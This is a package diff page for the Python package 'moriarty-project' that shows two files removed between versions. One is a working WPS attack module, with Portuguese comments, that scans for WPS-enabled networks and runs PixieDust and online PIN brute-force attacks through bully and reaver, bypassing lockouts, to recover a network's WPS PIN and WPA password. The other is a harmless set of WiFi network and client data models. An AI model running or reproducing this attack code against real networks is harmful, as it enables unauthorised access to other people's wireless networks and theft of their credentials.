moriarty-project 0.1.20__py3-none-any.whl → 0.1.23__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- moriarty/__init__.py +1 -1
- moriarty/cli/app.py +5 -6
- moriarty/modules/port_scanner.py +1 -5
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/METADATA +36 -49
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/RECORD +7 -22
- moriarty/cli/wifippler.py +0 -124
- moriarty/modules/wifippler/__init__.py +0 -65
- moriarty/modules/wifippler/core/__init__.py +0 -80
- moriarty/modules/wifippler/core/attacks/__init__.py +0 -19
- moriarty/modules/wifippler/core/attacks/deauth.py +0 -340
- moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
- moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
- moriarty/modules/wifippler/core/attacks/wep.py +0 -467
- moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
- moriarty/modules/wifippler/core/attacks/wps.py +0 -474
- moriarty/modules/wifippler/core/models/__init__.py +0 -10
- moriarty/modules/wifippler/core/models/network.py +0 -216
- moriarty/modules/wifippler/core/scanner.py +0 -901
- moriarty/modules/wifippler/core/utils/__init__.py +0 -622
- moriarty/modules/wifippler/core/utils.py +0 -851
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/WHEEL +0 -0
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/entry_points.txt +0 -0
@@ -1,474 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Módulo de ataque WPS (WiFi Protected Setup).
|
3
|
-
|
4
|
-
Este módulo implementa ataques contra redes WPS, incluindo:
|
5
|
-
- Ataque de força bruta ao PIN WPS
|
6
|
-
- Ataque PixieDust
|
7
|
-
- Ataque de PIN online
|
8
|
-
"""
|
9
|
-
import os
|
10
|
-
import re
|
11
|
-
import time
|
12
|
-
import logging
|
13
|
-
import subprocess
|
14
|
-
from typing import Optional, Dict, List, Tuple, Any
|
15
|
-
from dataclasses import dataclass, field
|
16
|
-
from enum import Enum, auto
|
17
|
-
|
18
|
-
from rich.console import Console
|
19
|
-
from rich.progress import Progress, SpinnerColumn, TextColumn
|
20
|
-
|
21
|
-
from ...core.models.network import WiFiNetwork
|
22
|
-
from ...core.utils import (
|
23
|
-
is_root, check_dependencies, get_network_interfaces,
|
24
|
-
set_monitor_mode, restore_network_interface, command_exists
|
25
|
-
)
|
26
|
-
|
27
|
-
# Configuração de logging
|
28
|
-
logging.basicConfig(level=logging.INFO)
|
29
|
-
logger = logging.getLogger(__name__)
|
30
|
-
console = Console()
|
31
|
-
|
32
|
-
class WPSEventType(Enum):
|
33
|
-
"""Tipos de eventos do WPS."""
|
34
|
-
START = auto()
|
35
|
-
PIN_FOUND = auto()
|
36
|
-
PIXIE_DUST = auto()
|
37
|
-
ONLINE_BRUTE = auto()
|
38
|
-
ERROR = auto()
|
39
|
-
COMPLETE = auto()
|
40
|
-
|
41
|
-
@dataclass
|
42
|
-
class WPSEvent:
|
43
|
-
"""Evento de progresso do ataque WPS."""
|
44
|
-
type: WPSEventType
|
45
|
-
message: str = ""
|
46
|
-
data: Dict[str, Any] = field(default_factory=dict)
|
47
|
-
|
48
|
-
class WPSAttack:
|
49
|
-
"""Classe para realizar ataques WPS."""
|
50
|
-
|
51
|
-
def __init__(self, interface: str = None, timeout: int = 300):
|
52
|
-
"""
|
53
|
-
Inicializa o ataque WPS.
|
54
|
-
|
55
|
-
Args:
|
56
|
-
interface: Interface de rede para usar no ataque
|
57
|
-
timeout: Tempo máximo de execução em segundos
|
58
|
-
"""
|
59
|
-
self.interface = interface
|
60
|
-
self.timeout = timeout
|
61
|
-
self.is_running = False
|
62
|
-
self.stop_requested = False
|
63
|
-
self.current_pin = ""
|
64
|
-
self.pins_tried = 0
|
65
|
-
self.pin_found = False
|
66
|
-
self.pin = ""
|
67
|
-
self.psk = ""
|
68
|
-
|
69
|
-
# Verifica dependências
|
70
|
-
self._check_dependencies()
|
71
|
-
|
72
|
-
# Verifica privilégios
|
73
|
-
if not is_root():
|
74
|
-
raise PermissionError("Este ataque requer privilégios de root")
|
75
|
-
|
76
|
-
def _check_dependencies(self) -> None:
|
77
|
-
"""Verifica se todas as dependências necessárias estão instaladas."""
|
78
|
-
required = ['reaver', 'bully', 'wash', 'aircrack-ng']
|
79
|
-
missing = [cmd for cmd in required if not command_exists(cmd)]
|
80
|
-
|
81
|
-
if missing:
|
82
|
-
raise RuntimeError(
|
83
|
-
f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
|
84
|
-
"Instale-as com: sudo apt install reaver bully aircrack-ng"
|
85
|
-
)
|
86
|
-
|
87
|
-
def scan_wps_networks(self, channel: int = None) -> List[Dict[str, Any]]:
|
88
|
-
"""
|
89
|
-
Escaneia redes com WPS ativado.
|
90
|
-
|
91
|
-
Args:
|
92
|
-
channel: Canal específico para escanear (opcional)
|
93
|
-
|
94
|
-
Returns:
|
95
|
-
Lista de redes com WPS ativado
|
96
|
-
"""
|
97
|
-
networks = []
|
98
|
-
|
99
|
-
try:
|
100
|
-
# Cria um arquivo temporário para armazenar a saída
|
101
|
-
import tempfile
|
102
|
-
with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
|
103
|
-
output_file = tmp_file.name
|
104
|
-
|
105
|
-
# Comando para escanear redes WPS
|
106
|
-
cmd = ['wash', '-i', self.interface, '-o', output_file, '--ignore-fcs']
|
107
|
-
if channel:
|
108
|
-
cmd.extend(['-c', str(channel)])
|
109
|
-
|
110
|
-
console.print("[cyan]Escaneando redes WPS...[/]")
|
111
|
-
|
112
|
-
# Executa o comando
|
113
|
-
with Progress(
|
114
|
-
SpinnerColumn(),
|
115
|
-
TextColumn("[progress.description]{task.description}"),
|
116
|
-
console=console,
|
117
|
-
transient=True,
|
118
|
-
) as progress:
|
119
|
-
task = progress.add_task("Escaneando redes WPS...", total=None)
|
120
|
-
|
121
|
-
try:
|
122
|
-
# Executa o wash por 30 segundos
|
123
|
-
process = subprocess.Popen(
|
124
|
-
cmd,
|
125
|
-
stdout=subprocess.PIPE,
|
126
|
-
stderr=subprocess.PIPE,
|
127
|
-
universal_newlines=True
|
128
|
-
)
|
129
|
-
|
130
|
-
# Aguarda o término ou timeout
|
131
|
-
for _ in range(30): # 30 segundos de escaneamento
|
132
|
-
if process.poll() is not None:
|
133
|
-
break
|
134
|
-
time.sleep(1)
|
135
|
-
|
136
|
-
# Encerra o processo
|
137
|
-
process.terminate()
|
138
|
-
try:
|
139
|
-
process.wait(timeout=5)
|
140
|
-
except subprocess.TimeoutExpired:
|
141
|
-
process.kill()
|
142
|
-
|
143
|
-
# Lê o arquivo de saída
|
144
|
-
with open(output_file, 'r') as f:
|
145
|
-
lines = f.readlines()
|
146
|
-
|
147
|
-
# Processa a saída
|
148
|
-
for line in lines:
|
149
|
-
line = line.strip()
|
150
|
-
if not line or line.startswith('BSSID') or line.startswith('---'):
|
151
|
-
continue
|
152
|
-
|
153
|
-
# Formato: BSSID Channel RSSI WPS Version WPS Locked ESSID
|
154
|
-
parts = re.split(r'\s{2,}', line)
|
155
|
-
if len(parts) >= 6:
|
156
|
-
network = {
|
157
|
-
'bssid': parts[0].strip(),
|
158
|
-
'channel': int(parts[1]),
|
159
|
-
'rssi': int(parts[2]),
|
160
|
-
'wps_version': parts[3],
|
161
|
-
'wps_locked': parts[4].lower() == 'yes',
|
162
|
-
'ssid': parts[5] if len(parts) > 5 else ''
|
163
|
-
}
|
164
|
-
networks.append(network)
|
165
|
-
|
166
|
-
progress.update(task, completed=1, visible=False)
|
167
|
-
|
168
|
-
except Exception as e:
|
169
|
-
logger.error(f"Erro ao escanear redes WPS: {e}")
|
170
|
-
progress.update(task, visible=False)
|
171
|
-
|
172
|
-
except Exception as e:
|
173
|
-
logger.error(f"Erro ao escanear redes WPS: {e}")
|
174
|
-
|
175
|
-
finally:
|
176
|
-
# Remove o arquivo temporário
|
177
|
-
try:
|
178
|
-
if os.path.exists(output_file):
|
179
|
-
os.unlink(output_file)
|
180
|
-
except:
|
181
|
-
pass
|
182
|
-
|
183
|
-
return networks
|
184
|
-
|
185
|
-
def pixie_dust_attack(self, bssid: str, channel: int, callback=None) -> Tuple[bool, str, str]:
|
186
|
-
"""
|
187
|
-
Realiza o ataque PixieDust contra uma rede WPS.
|
188
|
-
|
189
|
-
Args:
|
190
|
-
bssid: Endereço MAC do ponto de acesso
|
191
|
-
channel: Canal da rede
|
192
|
-
callback: Função de callback para eventos
|
193
|
-
|
194
|
-
Returns:
|
195
|
-
Tupla (sucesso, PIN, PSK)
|
196
|
-
"""
|
197
|
-
self.is_running = True
|
198
|
-
self.stop_requested = False
|
199
|
-
self.pin_found = False
|
200
|
-
self.pin = ""
|
201
|
-
self.psk = ""
|
202
|
-
|
203
|
-
# Configura o monitoramento de eventos
|
204
|
-
def event_handler(event_type: WPSEventType, message: str = "", **kwargs):
|
205
|
-
if callback:
|
206
|
-
event = WPSEvent(type=event_type, message=message, data=kwargs)
|
207
|
-
callback(event)
|
208
|
-
|
209
|
-
try:
|
210
|
-
# Verifica se o bully está disponível
|
211
|
-
if not command_exists('bully'):
|
212
|
-
event_handler(
|
213
|
-
WPSEventType.ERROR,
|
214
|
-
"O comando 'bully' não foi encontrado. Instale-o com: sudo apt install bully"
|
215
|
-
)
|
216
|
-
return False, "", ""
|
217
|
-
|
218
|
-
# Cria um arquivo temporário para armazenar a saída
|
219
|
-
import tempfile
|
220
|
-
with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
|
221
|
-
output_file = tmp_file.name
|
222
|
-
|
223
|
-
# Comando para o ataque PixieDust
|
224
|
-
cmd = [
|
225
|
-
'bully',
|
226
|
-
'-b', bssid, # BSSID do alvo
|
227
|
-
'-c', str(channel), # Canal
|
228
|
-
'-p', '1', # Modo PixieDust
|
229
|
-
'--pixie-dust', # Força o ataque PixieDust
|
230
|
-
'-v', '3', # Modo verboso
|
231
|
-
'-F', # Ignora erros de FCS
|
232
|
-
'-B', # Ignora bloqueios
|
233
|
-
'-d', # Mostra códigos PIN
|
234
|
-
'-l', '100', # Limite de tentativas
|
235
|
-
'--pixie-sleep', '1', # Tempo de espera entre tentativas
|
236
|
-
self.interface # Interface de rede
|
237
|
-
]
|
238
|
-
|
239
|
-
event_handler(WPSEventType.START, "Iniciando ataque PixieDust...")
|
240
|
-
|
241
|
-
# Executa o comando
|
242
|
-
process = subprocess.Popen(
|
243
|
-
cmd,
|
244
|
-
stdout=subprocess.PIPE,
|
245
|
-
stderr=subprocess.STDOUT,
|
246
|
-
universal_newlines=True
|
247
|
-
)
|
248
|
-
|
249
|
-
# Monitora a saída
|
250
|
-
pin_pattern = re.compile(r'\[\+\]\s+Pin\s+is\s+([0-9]{8})')
|
251
|
-
psk_pattern = re.compile(r'\[\+\]\s+WPA\s+PSK:\s+([^\s]+)')
|
252
|
-
|
253
|
-
start_time = time.time()
|
254
|
-
|
255
|
-
while True:
|
256
|
-
# Verifica timeout
|
257
|
-
if time.time() - start_time > self.timeout:
|
258
|
-
event_handler(
|
259
|
-
WPSEventType.ERROR,
|
260
|
-
"Tempo limite excedido no ataque PixieDust"
|
261
|
-
)
|
262
|
-
process.terminate()
|
263
|
-
break
|
264
|
-
|
265
|
-
# Verifica se foi solicitado para parar
|
266
|
-
if self.stop_requested:
|
267
|
-
event_handler(
|
268
|
-
WPSEventType.ERROR,
|
269
|
-
"Ataque interrompido pelo usuário"
|
270
|
-
)
|
271
|
-
process.terminate()
|
272
|
-
break
|
273
|
-
|
274
|
-
# Lê a saída
|
275
|
-
line = process.stdout.readline()
|
276
|
-
if not line and process.poll() is not None:
|
277
|
-
break
|
278
|
-
|
279
|
-
if line:
|
280
|
-
# Verifica se encontrou o PIN
|
281
|
-
pin_match = pin_pattern.search(line)
|
282
|
-
if pin_match:
|
283
|
-
self.pin = pin_match.group(1)
|
284
|
-
self.pin_found = True
|
285
|
-
event_handler(
|
286
|
-
WPSEventType.PIN_FOUND,
|
287
|
-
f"PIN encontrado: {self.pin}",
|
288
|
-
pin=self.pin
|
289
|
-
)
|
290
|
-
|
291
|
-
# Verifica se encontrou a PSK
|
292
|
-
psk_match = psk_pattern.search(line)
|
293
|
-
if psk_match:
|
294
|
-
self.psk = psk_match.group(1)
|
295
|
-
event_handler(
|
296
|
-
WPSEventType.COMPLETE,
|
297
|
-
f"Senha encontrada: {self.psk}",
|
298
|
-
pin=self.pin,
|
299
|
-
psk=self.psk
|
300
|
-
)
|
301
|
-
return True, self.pin, self.psk
|
302
|
-
|
303
|
-
# Envia a saída para o callback
|
304
|
-
event_handler(WPSEventType.PIXIE_DUST, line.strip())
|
305
|
-
|
306
|
-
# Verifica se o processo terminou com sucesso
|
307
|
-
if process.poll() == 0 and self.pin_found:
|
308
|
-
return True, self.pin, self.psk
|
309
|
-
|
310
|
-
return False, "", ""
|
311
|
-
|
312
|
-
except Exception as e:
|
313
|
-
event_handler(
|
314
|
-
WPSEventType.ERROR,
|
315
|
-
f"Erro durante o ataque PixieDust: {str(e)}"
|
316
|
-
)
|
317
|
-
return False, "", ""
|
318
|
-
|
319
|
-
finally:
|
320
|
-
self.is_running = False
|
321
|
-
# Remove o arquivo temporário
|
322
|
-
try:
|
323
|
-
if os.path.exists(output_file):
|
324
|
-
os.unlink(output_file)
|
325
|
-
except:
|
326
|
-
pass
|
327
|
-
|
328
|
-
def online_brute_force(self, bssid: str, channel: int, pin_file: str = None,
|
329
|
-
callback=None) -> Tuple[bool, str, str]:
|
330
|
-
"""
|
331
|
-
Realiza um ataque de força bruta online ao PIN WPS.
|
332
|
-
|
333
|
-
Args:
|
334
|
-
bssid: Endereço MAC do ponto de acesso
|
335
|
-
channel: Canal da rede
|
336
|
-
pin_file: Caminho para o arquivo de PINs (opcional)
|
337
|
-
callback: Função de callback para eventos
|
338
|
-
|
339
|
-
Returns:
|
340
|
-
Tupla (sucesso, PIN, PSK)
|
341
|
-
"""
|
342
|
-
self.is_running = True
|
343
|
-
self.stop_requested = False
|
344
|
-
self.pin_found = False
|
345
|
-
self.pin = ""
|
346
|
-
self.psk = ""
|
347
|
-
|
348
|
-
# Configura o monitoramento de eventos
|
349
|
-
def event_handler(event_type: WPSEventType, message: str = "", **kwargs):
|
350
|
-
if callback:
|
351
|
-
event = WPSEvent(type=event_type, message=message, data=kwargs)
|
352
|
-
callback(event)
|
353
|
-
|
354
|
-
try:
|
355
|
-
# Verifica se o reaver está disponível
|
356
|
-
if not command_exists('reaver'):
|
357
|
-
event_handler(
|
358
|
-
WPSEventType.ERROR,
|
359
|
-
"O comando 'reaver' não foi encontrado. Instale-o com: sudo apt install reaver"
|
360
|
-
)
|
361
|
-
return False, "", ""
|
362
|
-
|
363
|
-
# Cria um arquivo temporário para armazenar a saída
|
364
|
-
import tempfile
|
365
|
-
with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
|
366
|
-
output_file = tmp_file.name
|
367
|
-
|
368
|
-
# Comando para o ataque de força bruta
|
369
|
-
cmd = [
|
370
|
-
'reaver',
|
371
|
-
'-i', self.interface, # Interface de rede
|
372
|
-
'-b', bssid, # BSSID do alvo
|
373
|
-
'-c', str(channel), # Canal
|
374
|
-
'-vv', # Modo verboso
|
375
|
-
'-K', '1', # Executa o ataque PixieDust primeiro
|
376
|
-
'-N', 'F:' # Ignora relatórios de estado
|
377
|
-
]
|
378
|
-
|
379
|
-
# Adiciona o arquivo de PINs, se fornecido
|
380
|
-
if pin_file and os.path.exists(pin_file):
|
381
|
-
cmd.extend(['-p', pin_file])
|
382
|
-
|
383
|
-
event_handler(WPSEventType.START, "Iniciando ataque de força bruta online...")
|
384
|
-
|
385
|
-
# Executa o comando
|
386
|
-
process = subprocess.Popen(
|
387
|
-
cmd,
|
388
|
-
stdout=subprocess.PIPE,
|
389
|
-
stderr=subprocess.STDOUT,
|
390
|
-
universal_newlines=True
|
391
|
-
)
|
392
|
-
|
393
|
-
# Monitora a saída
|
394
|
-
pin_pattern = re.compile(r'\[\+\]\s+PIN\s+is\s+'r'([0-9]{8})')
|
395
|
-
psk_pattern = re.compile(r'\[\+\]\s+WPA\s+PSK:\s+([^\s]+)')
|
396
|
-
|
397
|
-
start_time = time.time()
|
398
|
-
|
399
|
-
while True:
|
400
|
-
# Verifica timeout
|
401
|
-
if time.time() - start_time > self.timeout:
|
402
|
-
event_handler(
|
403
|
-
WPSEventType.ERROR,
|
404
|
-
"Tempo limite excedido no ataque de força bruta"
|
405
|
-
)
|
406
|
-
process.terminate()
|
407
|
-
break
|
408
|
-
|
409
|
-
# Verifica se foi solicitado para parar
|
410
|
-
if self.stop_requested:
|
411
|
-
event_handler(
|
412
|
-
WPSEventType.ERROR,
|
413
|
-
"Ataque interrompido pelo usuário"
|
414
|
-
)
|
415
|
-
process.terminate()
|
416
|
-
break
|
417
|
-
|
418
|
-
# Lê a saída
|
419
|
-
line = process.stdout.readline()
|
420
|
-
if not line and process.poll() is not None:
|
421
|
-
break
|
422
|
-
|
423
|
-
if line:
|
424
|
-
# Verifica se encontrou o PIN
|
425
|
-
pin_match = pin_pattern.search(line)
|
426
|
-
if pin_match:
|
427
|
-
self.pin = pin_match.group(1)
|
428
|
-
self.pin_found = True
|
429
|
-
event_handler(
|
430
|
-
WPSEventType.PIN_FOUND,
|
431
|
-
f"PIN encontrado: {self.pin}",
|
432
|
-
pin=self.pin
|
433
|
-
)
|
434
|
-
|
435
|
-
# Verifica se encontrou a PSK
|
436
|
-
psk_match = psk_pattern.search(line)
|
437
|
-
if psk_match:
|
438
|
-
self.psk = psk_match.group(1)
|
439
|
-
event_handler(
|
440
|
-
WPSEventType.COMPLETE,
|
441
|
-
f"Senha encontrada: {self.psk}",
|
442
|
-
pin=self.pin,
|
443
|
-
psk=self.psk
|
444
|
-
)
|
445
|
-
return True, self.pin, self.psk
|
446
|
-
|
447
|
-
# Envia a saída para o callback
|
448
|
-
event_handler(WPSEventType.ONLINE_BRUTE, line.strip())
|
449
|
-
|
450
|
-
# Verifica se o processo terminou com sucesso
|
451
|
-
if process.poll() == 0 and self.pin_found:
|
452
|
-
return True, self.pin, self.psk
|
453
|
-
|
454
|
-
return False, "", ""
|
455
|
-
|
456
|
-
except Exception as e:
|
457
|
-
event_handler(
|
458
|
-
WPSEventType.ERROR,
|
459
|
-
f"Erro durante o ataque de força bruta: {str(e)}"
|
460
|
-
)
|
461
|
-
return False, "", ""
|
462
|
-
|
463
|
-
finally:
|
464
|
-
self.is_running = False
|
465
|
-
# Remove o arquivo temporário
|
466
|
-
try:
|
467
|
-
if os.path.exists(output_file):
|
468
|
-
os.unlink(output_file)
|
469
|
-
except:
|
470
|
-
pass
|
471
|
-
|
472
|
-
def stop(self):
|
473
|
-
"""Solicita a interrupção do ataque."""
|
474
|
-
self.stop_requested = True
|
@@ -1,216 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Modelos de dados para redes e clientes WiFi.
|
3
|
-
"""
|
4
|
-
from dataclasses import dataclass, field, asdict
|
5
|
-
from datetime import datetime
|
6
|
-
from typing import Dict, List, Optional, Set, Tuple, Any
|
7
|
-
from enum import Enum, auto
|
8
|
-
import json
|
9
|
-
|
10
|
-
|
11
|
-
class WiFiSecurityType(Enum):
|
12
|
-
"""Tipos de segurança WiFi suportados."""
|
13
|
-
NONE = auto()
|
14
|
-
WEP = auto()
|
15
|
-
WPA = auto()
|
16
|
-
WPA2 = auto()
|
17
|
-
WPA3 = auto()
|
18
|
-
WPA2_ENTERPRISE = auto()
|
19
|
-
WPA3_ENTERPRISE = auto()
|
20
|
-
OWE = auto() # Opportunistic Wireless Encryption (OWE)
|
21
|
-
WPS = auto() # WiFi Protected Setup
|
22
|
-
|
23
|
-
|
24
|
-
class WiFiCipherType(Enum):
|
25
|
-
"""Tipos de cifra suportados."""
|
26
|
-
NONE = auto()
|
27
|
-
WEP_40 = auto()
|
28
|
-
WEP_104 = auto()
|
29
|
-
TKIP = auto()
|
30
|
-
CCMP = auto()
|
31
|
-
GCMP = auto()
|
32
|
-
|
33
|
-
|
34
|
-
class WiFiAuthType(Enum):
|
35
|
-
"""Tipos de autenticação suportados."""
|
36
|
-
OPEN = auto()
|
37
|
-
SHARED = auto()
|
38
|
-
WPA_PSK = auto()
|
39
|
-
WPA_EAP = auto()
|
40
|
-
WPA2_PSK = auto()
|
41
|
-
WPA2_EAP = auto()
|
42
|
-
WPA3_SAE = auto()
|
43
|
-
WPA3_EAP = auto()
|
44
|
-
OWE = auto()
|
45
|
-
|
46
|
-
|
47
|
-
@dataclass
|
48
|
-
class WiFiNetwork:
|
49
|
-
"""Representa uma rede WiFi descoberta."""
|
50
|
-
# Identificação
|
51
|
-
bssid: str
|
52
|
-
ssid: str
|
53
|
-
channel: int
|
54
|
-
frequency: int # Em MHz
|
55
|
-
band: str # 2.4GHz, 5GHz, 6GHz, etc.
|
56
|
-
|
57
|
-
# Sinal e qualidade
|
58
|
-
signal_dbm: int # Potência do sinal em dBm
|
59
|
-
signal_percent: int # Porcentagem de qualidade do sinal (0-100%)
|
60
|
-
noise_dbm: int # Nível de ruído em dBm
|
61
|
-
|
62
|
-
# Segurança
|
63
|
-
security: WiFiSecurityType
|
64
|
-
encryption: str # Ex: WPA2, WPA3, WEP, etc.
|
65
|
-
cipher: WiFiCipherType
|
66
|
-
auth: WiFiAuthType
|
67
|
-
|
68
|
-
# WPS (WiFi Protected Setup)
|
69
|
-
wps: bool = False
|
70
|
-
wps_locked: bool = False
|
71
|
-
wps_version: str = ""
|
72
|
-
wps_state: str = ""
|
73
|
-
|
74
|
-
# Clientes conectados
|
75
|
-
clients: List['WiFiClient'] = field(default_factory=list)
|
76
|
-
|
77
|
-
# Metadados
|
78
|
-
first_seen: datetime = field(default_factory=datetime.utcnow)
|
79
|
-
last_seen: datetime = field(default_factory=datetime.utcnow)
|
80
|
-
vendor: str = "" # Fabricante do roteador baseado no OUI do BSSID
|
81
|
-
country: str = "" # Código do país
|
82
|
-
|
83
|
-
# Flags adicionais
|
84
|
-
is_hidden: bool = False
|
85
|
-
is_associated: bool = False
|
86
|
-
is_internet: bool = False # Se a rede tem acesso à internet
|
87
|
-
|
88
|
-
# Estatísticas
|
89
|
-
beacon: int = 0
|
90
|
-
data: int = 0
|
91
|
-
data_rate: float = 0.0 # Em Mbps
|
92
|
-
|
93
|
-
# Informações adicionais
|
94
|
-
extra: Dict[str, Any] = field(default_factory=dict)
|
95
|
-
|
96
|
-
def to_dict(self) -> Dict[str, Any]:
|
97
|
-
"""Converte o objeto para dicionário."""
|
98
|
-
data = asdict(self)
|
99
|
-
# Converte enums para strings
|
100
|
-
data['security'] = self.security.name
|
101
|
-
data['cipher'] = self.cipher.name
|
102
|
-
data['auth'] = self.auth.name
|
103
|
-
# Converte datetimes para strings ISO
|
104
|
-
data['first_seen'] = self.first_seen.isoformat()
|
105
|
-
data['last_seen'] = self.last_seen.isoformat()
|
106
|
-
# Converte clientes para dicionários
|
107
|
-
data['clients'] = [client.to_dict() for client in self.clients]
|
108
|
-
return data
|
109
|
-
|
110
|
-
def to_json(self, indent: int = 2) -> str:
|
111
|
-
"""Converte o objeto para JSON."""
|
112
|
-
return json.dumps(self.to_dict(), indent=indent, ensure_ascii=False)
|
113
|
-
|
114
|
-
def update_signal(self, signal_dbm: int, noise_dbm: int):
|
115
|
-
"""Atualiza as métricas de sinal."""
|
116
|
-
self.signal_dbm = signal_dbm
|
117
|
-
self.noise_dbm = noise_dbm
|
118
|
-
self.signal_percent = self._calculate_signal_percentage(signal_dbm, noise_dbm)
|
119
|
-
self.last_seen = datetime.utcnow()
|
120
|
-
|
121
|
-
def add_client(self, client: 'WiFiClient'):
|
122
|
-
"""Adiciona um cliente à rede."""
|
123
|
-
# Verifica se o cliente já existe
|
124
|
-
for idx, c in enumerate(self.clients):
|
125
|
-
if c.mac == client.mac:
|
126
|
-
self.clients[idx] = client
|
127
|
-
return
|
128
|
-
self.clients.append(client)
|
129
|
-
|
130
|
-
def remove_client(self, mac: str) -> bool:
|
131
|
-
"""Remove um cliente da rede."""
|
132
|
-
for idx, client in enumerate(self.clients):
|
133
|
-
if client.mac == mac:
|
134
|
-
self.clients.pop(idx)
|
135
|
-
return True
|
136
|
-
return False
|
137
|
-
|
138
|
-
@staticmethod
|
139
|
-
def _calculate_signal_percentage(signal_dbm: int, noise_dbm: int) -> int:
|
140
|
-
"""Calcula a porcentagem de qualidade do sinal."""
|
141
|
-
# Se não houver sinal, retorna 0%
|
142
|
-
if signal_dbm == 0 or signal_dbm <= -100:
|
143
|
-
return 0
|
144
|
-
|
145
|
-
# Se o sinal for maior que -50dBm, retorna 100%
|
146
|
-
if signal_dbm >= -50:
|
147
|
-
return 100
|
148
|
-
|
149
|
-
# Calcula a porcentagem baseada na força do sinal
|
150
|
-
# Considerando -100dBm como 0% e -50dBm como 100%
|
151
|
-
return 2 * (signal_dbm + 100)
|
152
|
-
|
153
|
-
|
154
|
-
@dataclass
|
155
|
-
class WiFiClient:
|
156
|
-
"""Representa um cliente conectado a uma rede WiFi."""
|
157
|
-
# Identificação
|
158
|
-
mac: str
|
159
|
-
ip: str = ""
|
160
|
-
hostname: str = ""
|
161
|
-
vendor: str = "" # Fabricante baseado no OUI do MAC
|
162
|
-
|
163
|
-
# Sinal e conexão
|
164
|
-
signal_dbm: int = 0
|
165
|
-
signal_percent: int = 0
|
166
|
-
rx_rate: float = 0.0 # Em Mbps
|
167
|
-
tx_rate: float = 0.0 # Em Mbps
|
168
|
-
|
169
|
-
# Metadados
|
170
|
-
first_seen: datetime = field(default_factory=datetime.utcnow)
|
171
|
-
last_seen: datetime = field(default_factory=datetime.utcnow)
|
172
|
-
|
173
|
-
# Informações adicionais
|
174
|
-
is_associated: bool = False
|
175
|
-
is_authenticated: bool = False
|
176
|
-
is_wps: bool = False
|
177
|
-
|
178
|
-
# Estatísticas
|
179
|
-
packets: int = 0
|
180
|
-
data: int = 0 # Em bytes
|
181
|
-
|
182
|
-
# Informações adicionais
|
183
|
-
extra: Dict[str, Any] = field(default_factory=dict)
|
184
|
-
|
185
|
-
def to_dict(self) -> Dict[str, Any]:
|
186
|
-
"""Converte o objeto para dicionário."""
|
187
|
-
data = asdict(self)
|
188
|
-
# Converte datetimes para strings ISO
|
189
|
-
data['first_seen'] = self.first_seen.isoformat()
|
190
|
-
data['last_seen'] = self.last_seen.isoformat()
|
191
|
-
return data
|
192
|
-
|
193
|
-
def to_json(self, indent: int = 2) -> str:
|
194
|
-
"""Converte o objeto para JSON."""
|
195
|
-
return json.dumps(self.to_dict(), indent=indent, ensure_ascii=False)
|
196
|
-
|
197
|
-
def update_signal(self, signal_dbm: int):
|
198
|
-
"""Atualiza as métricas de sinal."""
|
199
|
-
self.signal_dbm = signal_dbm
|
200
|
-
self.signal_percent = self._calculate_signal_percentage(signal_dbm)
|
201
|
-
self.last_seen = datetime.utcnow()
|
202
|
-
|
203
|
-
@staticmethod
|
204
|
-
def _calculate_signal_percentage(signal_dbm: int) -> int:
|
205
|
-
"""Calcula a porcentagem de qualidade do sinal."""
|
206
|
-
# Se não houver sinal, retorna 0%
|
207
|
-
if signal_dbm == 0 or signal_dbm <= -100:
|
208
|
-
return 0
|
209
|
-
|
210
|
-
# Se o sinal for maior que -50dBm, retorna 100%
|
211
|
-
if signal_dbm >= -50:
|
212
|
-
return 100
|
213
|
-
|
214
|
-
# Calcula a porcentagem baseada na força do sinal
|
215
|
-
# Considerando -100dBm como 0% e -50dBm como 100%
|
216
|
-
return 2 * (signal_dbm + 100)
|